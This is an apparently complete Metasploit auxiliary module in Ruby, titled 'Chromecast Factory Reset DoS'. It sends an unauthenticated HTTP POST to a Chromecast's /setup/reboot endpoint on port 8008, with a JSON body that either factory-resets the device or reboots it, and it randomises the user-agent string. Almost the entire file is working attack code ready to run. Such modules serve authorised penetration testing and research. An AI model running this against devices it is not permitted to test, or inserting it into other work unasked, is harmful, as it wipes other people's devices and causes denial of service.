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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Auxiliary
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  include Msf::Exploit::Remote::HttpClient
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  def initialize(info = {})
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    super(update_info(info,
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      'Name' => 'Chromecast Factory Reset DoS',
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      'Description' => %q{
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        This module performs a factory reset on a Chromecast, causing a denial of service (DoS).
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        No user authentication is required.
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      },
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      'Author' => ['wvu'],
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      'References' => [
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        ['URL', 'http://www.google.com/intl/en/chrome/devices/chromecast/index.html'] # vendor website
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      ],
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      'License' => MSF_LICENSE,
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      'Actions' => [
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        ['Reset', 'Description' => 'Factory reset'],
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        ['Reboot', 'Description' => 'Reboot only']
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      ],
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      'DefaultAction' => 'Reset'
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    ))
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    register_options([
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      Opt::RPORT(8008)
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    ])
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  end
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  def run
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    case action.name
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    when 'Reset'
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      res = reset
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    when 'Reboot'
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      res = reboot
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    end
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    if res && res.code == 200
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      print_good("#{action.name} performed")
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    elsif res
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      print_error("An error occurred: #{res.code} #{res.message}")
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    end
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  end
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  def reset
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    begin
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      send_request_raw(
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        'method' => 'POST',
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        'uri' => '/setup/reboot',
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        'agent' => Rex::Text.rand_text_english(rand(42) + 1),
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        'ctype' => 'application/json',
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        'data' => '{"params": "fdr"}'
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      )
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    rescue Rex::ConnectionRefused, Rex::ConnectionTimeout,
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           Rex::HostUnreachable => e
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      fail_with(Failure::Unreachable, e)
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    ensure
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      disconnect
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    end
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  end
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  def reboot
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    begin
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      send_request_raw(
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        'method' => 'POST',
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        'uri' => '/setup/reboot',
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        'agent' => Rex::Text.rand_text_english(rand(42) + 1),
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        'ctype' => 'application/json',
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        'data' => '{"params": "now"}'
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      )
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    rescue Rex::ConnectionRefused, Rex::ConnectionTimeout,
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           Rex::HostUnreachable => e
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      fail_with(Failure::Unreachable, e)
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    ensure
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      disconnect
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    end
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  end
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end
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